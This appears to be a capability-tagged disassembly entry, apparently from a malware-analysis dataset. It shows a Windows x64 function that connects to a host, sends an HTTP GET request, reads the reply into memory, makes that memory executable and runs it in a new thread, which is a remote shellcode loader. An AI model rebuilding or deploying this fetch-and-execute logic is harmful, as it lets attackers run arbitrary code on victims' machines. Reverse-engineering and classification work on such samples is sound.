Function at 0x401560
Capabilities:
Connect socket
Create thread
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push rbp
push rdi
mov eax, 0x1448
call fcn.004030d0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x13e0], rcx
mov qword [rbp + 0x13e8], rdx
mov qword [rbp + 0x13f0], r8
mov dword [rbp + 0x13ac], 0
mov rcx, qword [rbp + 0x13e0]
call sym.strlen
add rax, 1
mov qword [rbp + 0x13a0], rax
mov qword [rbp + 0x1398], 0x64
mov qword [rbp + 0x1378], 0
mov rcx, qword [rbp + 0x13a0]
lea rdx, [rbp + 0x12b0]
lea rax, [rbp + 0x1378]
mov qword [rsp + 0x20], 0xffffffffffffffff
mov r9, qword [rbp + 0x13e0]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_mbstowcs_s]
call rax
mov qword [rbp + 0x13b8], 0xffffffffffffffff
mov qword [rbp + 0x1108], 0
mov qword [rbp + 0x13b0], 0
mov qword [rbp + 0xfc0], 0
mov qword [rbp + 0xfc8], 0
lea rdx, [rbp + 0xfd0]
mov eax, 0
mov ecx, 0x1e
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp + 0xfc0]
lea rdx, str.GET__
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcatA]
call rax
mov rdx, qword [rbp + 0x13f0]
lea rax, [rbp + 0xfc0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrcatA]
call rax
lea rax, [rbp - 0x40]
mov r8d, 0x1000
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x1394], 0x1000
lea rax, [rbp + 0x1110]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rbp + 0x1390], eax
cmp dword [rbp + 0x1390], 0
jne 0x401ac5
lea rax, [rbp + 0x10d0]
mov r8d, 0x30
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x10d4], 2
mov dword [rbp + 0x10d8], 1
mov dword [rbp + 0x10dc], 6
lea rcx, [rbp + 0x1108]
lea rdx, [rbp + 0x10d0]
mov rax, qword [rbp + 0x13e8]
mov r9, rcx
mov r8, rdx
mov rdx, rax
mov rcx, qword [rbp + 0x13e0]
mov rax, qword [sym.imp.WS2_32.dll_getaddrinfo]
call rax
mov dword [rbp + 0x1390], eax
cmp dword [rbp + 0x1390], 0
je 0x401751
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x401ac6
mov rax, qword [rbp + 0x1108]
mov qword [rbp + 0x13b0], rax
cmp qword [rbp + 0x13b0], 0
je 0x40182c
mov rax, qword [rbp + 0x13b0]
mov ecx, dword [rax + 0xc]
mov rax, qword [rbp + 0x13b0]
mov edx, dword [rax + 8]
mov rax, qword [rbp + 0x13b0]
mov eax, dword [rax + 4]
mov r8d, ecx
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x13b8], rax
cmp qword [rbp + 0x13b8], 0xffffffffffffffff
jne 0x4017b8
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x401ac6
mov rax, qword [rbp + 0x13b0]
mov rax, qword [rax + 0x10]
mov ecx, eax
mov rax, qword [rbp + 0x13b0]
mov rdx, qword [rax + 0x20]
mov rax, qword [rbp + 0x13b8]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov dword [rbp + 0x1390], eax
cmp dword [rbp + 0x1390], 0xffffffff
jne 0x40182b
mov rax, qword [rbp + 0x13b8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov qword [rbp + 0x13b8], 0xffffffffffffffff
nop
mov rax, qword [rbp + 0x13b0]
mov rax, qword [rax + 0x28]
mov qword [rbp + 0x13b0], rax
jmp 0x40175f
nop
mov rax, qword [rbp + 0x1108]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_freeaddrinfo]
call rax
cmp qword [rbp + 0x13b8], 0xffffffffffffffff
jne 0x401863
lea rcx, str.Unable_to_connect_to_server__n
call sym.printf_char_const__::_
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x401ac6
lea rax, [rbp + 0xfc0]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0xfc0]
mov rax, qword [rbp + 0x13b8]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov dword [rbp + 0x1390], eax
cmp dword [rbp + 0x1390], 0xffffffff
jne 0x4018c7
mov rax, qword [rbp + 0x13b8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x401ac6
mov rax, qword [rbp + 0x13b8]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_shutdown]
call rax
mov dword [rbp + 0x1390], eax
cmp dword [rbp + 0x1390], 0xffffffff
jne 0x40190f
mov rax, qword [rbp + 0x13b8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
jmp 0x401ac6
mov ecx, dword [rbp + 0x1394]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x13b8]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x1390], eax
cmp dword [rbp + 0x1390], 0
jle 0x40195a
mov eax, dword [rbp + 0x1390]
mov edx, eax
lea rcx, str.___Received__d_Bytes_n
call sym.printf_char_const__::_
jmp 0x401988
cmp dword [rbp + 0x1390], 0
jne 0x401971
lea rcx, str.___Connection_closed_n
call sym.printf_char_const__::_
jmp 0x401988
mov rax, qword [sym.imp.WS2_32.dll_WSAGetLastError]
call rax
mov edx, eax
lea rcx, str.recv_failed_with_error:__d_n
call sym.printf_char_const__::_
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x1000
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1388], rax
cmp qword [rbp + 0x1388], 0
jne 0x4019d4
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_Allocate_memory___u__n
call sym.printf_char_const__::_
jmp 0x401ac6
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x1388]
mov r8d, 0x1000
mov rcx, rax
call sym.memmove
lea rdx, [rbp - 0x44]
mov rax, qword [rbp + 0x1388]
mov r9, rdx
mov r8d, 0x20
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
sete al
test al, al
je 0x401a37
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Fai1led_to_change_memory_protection___u__n
call sym.printf_char_const__::_
jmp 0x401ac6
mov rax, qword [rbp + 0x1388]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x1380], rax
cmp qword [rbp + 0x1380], 0
jne 0x401a95
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_Create_the_thread___u__n
call sym.printf_char_const__::_
jmp 0x401ac6
mov rax, qword [rbp + 0x1388]
mov rdx, rax
lea rcx, str._n_nalloc_mem_:__p_n
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x1380]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
jmp 0x401ac6
nop
add rsp, 0x1448
pop rdi
pop rbp
ret